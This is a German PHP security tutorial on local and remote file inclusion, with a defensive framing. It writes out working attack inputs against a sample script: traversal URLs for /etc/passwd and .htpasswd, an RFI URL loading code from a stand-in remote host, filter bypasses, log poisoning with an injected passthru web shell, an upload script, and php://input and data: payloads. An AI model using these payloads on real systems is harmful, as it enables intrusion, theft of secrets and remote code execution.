PHP-Sicherheit: Local und Remote File Inclusion

In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen. Was ist das? Wie nutzen es Angreifer aus? Wie schützt man sich davor?

Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.

Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML und JavaScript sind zwar von Vorteil, aber nicht zwingend erforderlich.

Zuerst gibt es eine Einführung in das Thema. Danach werden allgemeine Vorgehensweisen zur Ausnutzung von File Inclusion-Sicherheitslücken anhand von praktischen Beispielen demonstriert.

Anschließend folgen einige fortgeschrittene Techniken, die versierte Angreifer ausnutzen – wie zum Beispiel das Einschleusen von eigenen Code oder die Umgehung von unzureichenden Schutzmaßnahmen.

Zum Schluss wird erklärt, wie man File Inclusion-Sicherheitslücken effektiv vermeidet.

Was ist File Inclusion?

File Inclusion beschreibt eine Sicherheitslücke in Webanwendungen, die es Angreifern ermöglicht, Dateien (und somit auch Code) in einem Skript einzubinden.

Man unterscheidet zwischen Local File Inclusion und Remote File Inclusion. Bei Local File Inclusion lassen sich im Gegensatz zu Remote File Inclusion nur lokale Dateien einbinden.

File Inclusion-Sicherheitslücken gelten allgemein als kritisch.

Local File Inclusion

Local File Inclusion (kurz: LFI) ist eine Sicherheitslücke, mit der Angreifer ausschließlich lokale Dateien in einem Skript einbinden können.

Dadurch lassen sich beispielsweise Inhalte aus Dateien, welche sich auf dem Server befinden, auslesen. Das können Passwortdateien, Konfigurationsdateien oder andere Dateien mit sensiblen Inhalten sein.

Sollten die eingebundenen Dateien PHP-Code oder clientseitigen Code beinhalten, den der Webserver/Browser interpretieren kann, wird dieser ausgeführt. Somit lassen sich also auch vorhandene PHP-Dateien einbinden und ausführen.

Versierte Angreifer können durch diverse Techniken auch eigenen Code in vorhandene Dateien einschleusen, der mithilfe einer LFI Sicherheitslücke ausgeführt werden kann.

Remote File Inclusion

Mit Remote File Inclusion (kurz: RFI) können Angreifer auch entfernte Dateien einbinden, die sich auf anderen Servern befinden. Somit ist es natürlich sehr einfach, beliebigen Code einzuschleusen.

Häufig werden sogenannte Web-Shells bzw. PHP-Shells eingebunden, mit denen Angreifer in einem übersichtlichen Interface sämtliche Aktionen durchführen können, wie z.B. das Ausführen von System-Befehlen oder das Uploaden, Editieren, … von Dateien.

Remote File Inclusion ist nur möglich, wenn allow_url_include in der PHP-Konfiguration (php.ini oder httpd.conf) auf On gesetzt sind (seit PHP 5.2 ist diese Einstellung standardmäßig auf Off gesetzt).

RFI ist allgemein etwas kritischer zu betrachten, da auch unerfahrene Angreifer (sogenannte „Script-Kiddies“) problemlos eigenen Code einschleusen können.

Include-Anweisungen in PHP

In PHP gibt es mehrere Include-Anweisungen, mit denen Dateien in einem Skript eingebunden werden können. Diese Anweisungen werden sehr häufig von Programmierern verwendet, da sie eine Modularisierung in Webanwendungen ermöglichen.

In PHP gibt es folgende Include-Anweisungen:

• include
• include_once
• require
• require_once

include

Die Anweisung bzw. der Ausdruck include bindet eine übergebene Datei ein. Wird diese nicht gefunden, wird eine Warnmeldung ausgegeben. Der weitere Code wird ausgeführt.

include_once

Die Anweisung include_once ist identisch mit der Anweisung include – mit dem einzigen Unterschied, dass der Code der eingebundenen Datei im Skriptverlauf nur einmal ausgeführt wird.

require

Die Anweisung require macht das gleiche, wie include – allderings mit einem großen Unterschied: Wird die übergebene Datei nicht gefunden, wird ein Fatal Error verursacht und die Ausführung des Skripts wird sofort abgebrochen.

require_once

Die Anweisung require_once ist identisch mit der Anweisung require – der Code wird hier allerdings auch nur einmal im Skriptverlauf ausgeführt.

Wodurch entstehen File Inclusion-Sicherheitslücken?

File Inclusion-Sicherheitslücken entstehen, wenn an den genannten Include-Anweisungen ungefilterte Variablen übergeben werden, die Benutzereingaben enthalten können.

In PHP werden Benutzereingaben mittels superglobale Arrays übergeben. Dazu werden ab Version 4.1.0 meist folgende superglobale Arrays verwendet:

• $_GET
• $_POST
• $_REQUEST

Aber auch andere superglobale Arrays können Benutzereingaben enthalten, wie z.B.:

• $_COOKIE
• $_SESSION
• $_SERVER

Allgemeine Vorgehensweisen

RFI: Einbinden von entfernten Dateien

Bei RFI können Angreifer wie bereits erwähnt Dateien einbinden, die auf anderen Servern liegen. Dazu geben sie einfach die URL zu der entfernten Datei an.

Häufig werden Dateien mit der Endung .txt eingebunden, die PHP-Anweisungen enthalten, um sicherzustellen, dass der PHP-Code nicht auf dem Server ausgeführt wird, wo die Datei liegt, sondern auf dem Zielsystem.

LFI: Auslesen von sensiblen Informationen

Bei LFI ist das Ziel von Angreifern oft das Auslesen von sensiblen Informationen, wie Passwörter, Konfigurationseinstellungen, etc.

Hier einige Beispiele, die für Angreifer z.B. unter UNIX/Linux-Systemen interessant sein könnten:

• /etc/passwd – Benutzerliste
• /proc/self/environ – Umgebungsvariablen des aktuellen Prozesses (evtl. SECRET Keys)
• /etc/httpd/conf/httpd.conf – Apache-Konfigurationen
• /etc/httpd/conf/virtualhosts.conf – Apache-Konfigurationen von virtuellen Hosts
• /etc/nginx/nginx.conf – nginx-Konfigurationen

Auch Passwortdateien (.htpasswd, .env, etc.) sind ein beliebtes Ziel.

Grundlegende Angriffstechniken

Nun folgen die ersten Praxisbeispiele aus die Sicht eines Angreifers. Nur wer weiß, wie Angreifer vorgehen, kann sich am besten davor schützen.

Anhand von praktischen Beispielen wird hier demonstriert, wie Angreifer File Inclusion-Sicherheitslücken ausnutzen.

Beispiel 1:

<?php
  if(isset($_GET['file']))
    include $_GET['file'];
?>

Hier können die Dateien in der URL per GET-Parameter file an die Funktion include übergeben werden.

LFI:

http://localhost/vuln.php?file=/etc/passwd

http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf

http://localhost/vuln.php?file=/home/www/.htpasswd

RFI:

http://localhost/vuln.php?file=https://remotesite.tld/remotecode.txt

Beispiel 2:

<?php
  $file = $_GET['file'];
 
  if(isset($file))
    require 'includes/' . $file;
?>

Auch hier können die Dateien per GET-Parameter übergeben werden – in diesem Fall wird allerdings das Verzeichnis includes/ vorgegeben.

Nehmen wir an das vorgegebene Verzeichnis befindet sich unter:

/home/inet/www/includes/

Haben es Angreifer auf /etc/passwd abgesehen, müssen sie sich hier erst einige Verzeichnise mit der Angabe ../ in der Verzeichnisstruktur nach oben bewegen (auch als Path-Traversal bekannt), um ins Root-Verzeichnis zu gelangen. Denn Dort befindet sich das Verzeichnis etc/ in der die passwd Datei liegt.

Übergibt man hier etc/passwd, erscheint eine Fehlermeldung, da die Datei /home/inet/www/includes/etc/passwd nicht gefunden wurde.

Erfolgreiche Angriffe könnten wie folgt aussehen:

http://localhost/vuln.php?file=../../../../etc/passwd

http://localhost/vuln.php?file=../../../../etc/httpd/conf/virtualhosts.conf

Bei einer .htpasswd in /home/inet/www/.htpasswd muss man sich dagegen nur ein Verzeichnis in der Verzeichnisstruktur nach oben bewegen, um ins www/ Verzeichnis zu gelangen (wo sich die Datei befindet).

http://localhost/vuln.php?file=../.htpasswd

RFI ist hier ohne weiteres nicht möglich, da ein Verzeichnis vorgegeben wird. Selbst wenn man sich in der Verzeichnisstruktur bewegt – man würde sich immer in einem lokalen Verzeichnis befinden.

Beispiel 3:

<?php
  require_once 'lang/' . $_COOKIE['lang'];
?>

In diesem Beispiel wird ein Cookie namens lang verwendet. Außerdem wird das Verzeichnis lang/ vorgegeben.

Den Wert eines Cookies kann man z.B. in der Entwicklerkonsole des Browsers ändern:

document.cookie="lang=test"

Nach dem Aufruf sollte das Cookie den Wert „test“ haben. Nachprüfen kann man das ganze ebenfalls mit JavaScript in der Entwicklerkonsole:

console.log(document.cookie)

Nehmen wir an das lang/ Verzeichnis befindet sich unter /home/inet/www/lang/.

Ein Angreifer könnte den Cookie-Wert dann z.B. auf ../../../../etc/passwd setzen.

document.cookie="lang=../../../../etc/passwd"

document.cookie="lang=../../../../etc/httpd/conf/virtualhosts.conf"

document.cookie="lang=../.htpasswd"

Nach dem Aufruf des Skripts würden die Dateien erfolgreich eingebunden werden.

Auch hier ist RFI nicht möglich, da ein lokales Verzeichnis vorgegeben wird.

Fortgeschrittene Angriffstechniken

NULL Byte Poisoning (nur alte PHP-Versionen)

Meistens ist einem Programmierer bekannt, welche Dateiendung(en) die einzubindenen Dateien haben sollen. Im folgenden Beispiel wird die Dateiendung .php angehängt.

Beispiel 4:

<?php
  if(isset($_GET['file']))
    include $_GET['file'] . '.php';
?>

Gibt man hier als GET-Parameter /etc/passwd an, erscheint eine Fehlermeldung, da die Datei /etc/passwd.php nicht existiert, sondern nur /etc/passwd – ohne Dateiendung.

Angreifer können dies mit einem sogenannten NULL Byte Zeichen \0 bzw. in Hexadezimal %00 umgehen. In vielen Programmiersprachen terminiert das NULL Byte Zeichen einen String. Diese Angriffstechnik ist auch als NULL Byte Poisoning oder NULL Byte Injection bekannt.

Die Angabe /etc/passwd%00 würde zu /etc/passwd%00.php führen. Da das NULL Byte Zeichen den String terminiert, wird der Rest des Strings (hier die Dateiendung) ignoriert.

Erfolgreiche Angriffe könnten daher wie folgt aussehen.

http://localhost/vuln.php?file=/etc/passwd%00

http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf%00

http://localhost/vuln.php?file=/home/www/.passwd%00

http://localhost/vuln.php?file=https://remotesite.tld/remotecode.txt%00

Bei RFI gibt es in solchen Fällen allerdings eine andere Technik, die auch bei aktuellen PHP-Versionen funktioniert: Hier wird einfach vorgetäuscht, dass die Dateiendung (in diesem Fall .php) ein GET-Parameter oder der Wert eines GET-Patameters ist.

Beispiel:

http://localhost/vuln.php?file=https://remotesite.tld/remotecode.txt?xy=

Dies führt zu:

http://localhost/vuln.php?file=https://remotesite.tld/remotecode.txt?xy=.php

Filter Bypassing

Eines der größten Probleme von vielen PHP Programmierern sind fehlende Kenntnisse im Bereich PHP-Sicherheit. So entstehen häufig unzureichende Schutzmaßnahmen.

Folgendes Beispiel soll dies verdeutlichen.

Beispiel 5:

<?php
  $file = str_replace('../', '', $_GET['file']);
 
  if(isset($file))
    include 'includes/' . $file;
?>

RFI ist wegen dem vorgegebenen Verzeichnis nicht möglich. Um sich auch vor LFI Angriffen zu schützen, verhindert der Programmierer den Zugriff auf darüber liegende Verzeichnisse, indem er den Wert ../ durch einen leeren String ersetzt.

Folgender Angriffsversuch würde also nicht funktionieren:

http://localhost/vuln.php?file=../../../../etc/passwd

Angreifer können diese Filterung sehr einfach mit der Angabe ....// umgehen.

Dieser Trick ist einfach nachzuvollziehen: Die Angabe ../ wird zunächst durch einen leeren String ersetzt und übrig bleibt ../

Erfolgreiche Angriffe könnten wie folgt aussehen:

http://localhost/vuln.php?file=....//....//....//....//etc/passwd

http://localhost/vuln.php?file=....//....//....//....//etc/httpd/conf/virtualhosts.conf

http://localhost/vuln.php?file=....//....//....//....//home/www/.htpasswd

Einige würden jetzt vielleicht sogar auf die Idee kommen beide Angaben durch einen leeren String zu ersetzen. Das bringt natürlich auch nichts, wie am folgenden Beispiel zu sehen ist:

http://localhost/vuln.php?file=..../....///..../....///..../....///..../....///etc/passwd

Zuerst werden die Angaben ....// ersetzt. Dies ergibt: ....//....//....//....//
Anschließend werden die Angaben ../ ersetzt und übrig bleibt: ../../../../

Log Poisoning: Code Injizierung in Logdateien

Bei Local File Inclusion lassen sich, wie bereits erwähnt, ausschließlich lokale Dateien einbinden. Das bedeutet, dass man nur Code von vorhandenen Dateien ausführen kann.

Versierte Angreifer können durch clevere Tricks allerdings auch eigenen Code in vorhandene Dateien einschleusen – zum Beispiel in Logdateien.

Die meist verwendeten Webserver sind nginx und Apache. Dort werden unter anderem Zugriffe auf dem Webserver sowie Fehler protokolliert (Access und Error Logs).

Ein Eintrag in der Error Log Datei wird zum Beispiel verursacht, wenn ein PHP-Fehler verursacht wird, während in der Access Log Datei sämtliche aufgerufene Seiten eingetragen werden.

Die folgenden Beispiele beziehen sich auf XAMPP mit Apache unter Windows. Dort befindet sich die Access Log Datei standardmäßig unter xampp/apache/logs/access.log

Wird z.B. http://localhost/foobar aufgerufen, wird folgender Eintrag verursacht:

127.0.0.1 - - [28/Apr/2025:23:05:07 +0200] "GET /foobar HTTP/1.1"

Wie man sieht, wird das angegebene Verzeichnis bzw. der URL-Pfad /foobar mitprotokolliert. Dies können Angreifer ausnutzen, indem sie anstelle von einem Pfad, Code angeben:

http://localhost/<?php passthru($_GET['cmd']); ?>

Der Browser URL-kodiert allerdings bestimmte Zeichen (wie z.B. spitze Klammern, Leerzeichen und Anführungszeichen), wie in der Access Log Datei nun zu sehen ist:

127.0.0.1 - - [28/Apr/2025:23:06:03 +0200] "GET /%3C?php%20passthru($_GET[%27cmd%27]);%20?%3E HTTP/1.1"

Aus diesem Grund wird der PHP-Code nicht interpretiert und somit nicht ausgeführt.

Um dies zu verhindern, nutzen Angreifer Tools wie netcat oder Skripte, mit denen sie Raw HTTP-Requests ohne URL-Encoding durchführen können. Hierfür genügt z.B. ein einfaches Python-Skript mit Sockets.

Bindet man anschließend die Access Log Datei per LFI ein, erscheint folgender Eintrag:

Fatal error: Uncaught ValueError: passthru(): Argument #1 ($command) cannot be empty in C:\xampp\apache\logs\access.log

Hier sieht man, dass der PHP-Code erfolgreich injiziert und ausgeführt wurde. Die Warnmeldung erscheint, weil noch nichts an der passthru-Funktion übergeben wurde.

Dies kann man nun mit dem gerade injizierten GET-Parameter machen:

http://localhost/vuln.php?file=../apache/logs/access.log&cmd=[BEFEHL]

Harmloses Starten des Windows „Taschenrechner“:

http://localhost/vuln.php?file=../apache/logs/access.log&cmd=start calc.exe

Da man beliebigen PHP-Code ausführen kann, ist natürlich noch einiges mehr möglich.

Wie bereits erwähnt injizieren Angreifer mit RFI häufig Web Shells, mit denen sie sämtliche Aktionen durchführen können. Das ist auch mit LFI durch Injizierung von Code möglich.

Unter UNIX/Linux-Systemen könnte ein Angreifer mit dem Programm wget entfernte Dateien auf das Zielsystem herunterladen. Hat er diese Möglichkeit nicht, könnte er auch einfach ein Upload-Skript injizieren, mit dem man beliebige Dateien hochladen kann:

<?php
  if(isset($_POST['upload']))
  {
    if(move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']))
      echo '<p><strong>Die Datei wurde erfolgreich hochgeladen.</strong></p>';
  }
?>
<form action="" enctype="multipart/form-data" method="post">
  <input type="file" name="file">
  <input type="submit" name="upload">
</form>

Dieses Skript könnte beispielsweise in Base64 kodiert werden und mit der Funktion fwrite in eine neue Datei auf dem Server geschrieben werden. Hierzu sind ausreichende Schreibrechte im angegebenen Verzeichnis nötig.

Logdateien ausfindig machen

Da sich Logdateien (wie z.B. die Access Log Datei) an unterschiedlichen Orten befinden können (verschiedene Betriebssysteme, Versionen, Installationsverzeichnisse, …), müssen Angreifer sie erstmal ausfindig machen. Dazu gibt es verschiedene Möglichkeiten.

Am einfachsten ist es, wenn man weiß, wo sich die httpd.conf bzw. nginx.conf Datei befindet. In der stehen sämtliche Konfigurationseinstellungen – u.A. auch der Pfad zur Access Log Datei.

http://localhost/vuln.php?file=../apache/conf/httpd.conf

Eine weitere Möglichkeit ist das Erzeugen von Fehlermeldungen, in denen der vollständige Pfad ausgegeben wird (Full Path Disclosure). Daraus erhält man oft nützliche Informationen.

Falls Angreifer nicht wissen, wo sich die Logdateien befinden, können sie auch automatisierte Tools (sogenannte „LFI Scanner“) nutzen, welche die Arbeit für sie erledigen.

Code Injizierung in Bilddateien

Eine weitere Möglichkeit ist die Injizierung von Code als Metadaten in Bilddateien.

Viele Webanwendungen ermöglichen das Hochladen von Bildern. In Forensystemen sind das z.B. Benutzeravatare oder Bilder in Benutzerprofilen.

Bilddateien kann man mit einem normalen Texteditor bzw. Hexeditor öffnen und bearbeiten. Allerdings können dadurch sehr schnell fehlerhafte Bilddateien erzeugt werden. Viele Webanwendungen prüfen, ob es sich um fehlerfreie Bilddateien handelt.

Für die fehlerfreie Bearbeitung von Metadaten gibt es aber auch wieder einige nützliche Tools (Google liefert bei der Suche nach „image metadata editor“ genügend Ergebnisse).

Injiziert ein Angreifer PHP-Code mit solchen Tools in eine Bilddatei und lädt sie hoch, kann der Code mithilfe einer LFI Sicherheitslücke ausgeführt werden:

http://localhost/vuln.php?file=uploads/bild.jpg

Code Injizierung in anderen Dateien

Neben den Apache/nginx Logs befinden sich auf vielen Servern noch andere Logdateien, wie z.B. Logs von Web Analytics Tools, die ausführliche Besucherstatistiken beinhalten.

Das könnten User-Agents, HTTP-Referrer, etc. sein. In solchen Fällen können Angreifer auch Code einschleusen, da der User-Agent / Referrer im HTTP-Header verändert werden kann – z.B. ebenfalls per Skript oder direkt im Browser bzw. mit einer Erweiterung, wie HTTP Header Live (Firefox) oder ModHeader (Chrome).

PHP Input Wrapper

Eine weitere (eher unbekanntere) Angriffstechnik ist die Injizerung von Code per PHP Input Wrapper php://input

In diesem Wrapper wird der Request-Body von POST-Requests eingelesen. Mit einer File Inclusion Sicherheitslücke können Angreifer somit beliebigen Code mittels POST-Requests ausführen. Beispiel mit dem Programm curl: curl -X POST "http://localhost/vuln.php?file=php://input" --data "<?php phpinfo(); ?>"

Ein weiterer Input Wrapper ist data: – hier werden kodierte Strings in der URL übergeben, die vom Wrapper dekodiert werden. Das Ergebnis wird anschließend auf der Seite ausgegeben. Beinhalten die Strings PHP-Code, wird dieser interpretiert und ausgeführt.

http://localhost/vuln.php?file=data:;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

Diese Methode ist allerdings auch nur möglich, wenn allow_url_include auf On gesetzt ist.

Client-seitiger Code durch LFI/RFI

Neben der Ausführung von serverseitigem PHP-Code ermöglichen LFI- und RFI-Schwachstellen Angreifern auch die Injektion von client-seitigem Code (HTML oder JavaScript), der im Browser des Besuchers ausgeführt wird.

Einige Beispiele:

<?php
  if(isset($_GET['file']))
  {  
    switch($_GET['file'])
    {
      case 'home':
        include 'home.php';
        break;
      case 'services':
        include 'services.php';
        break;
      case 'kontakt':
        include 'kontakt.php';
        break;
      default:
        include 'home.php';
    }
  }
?>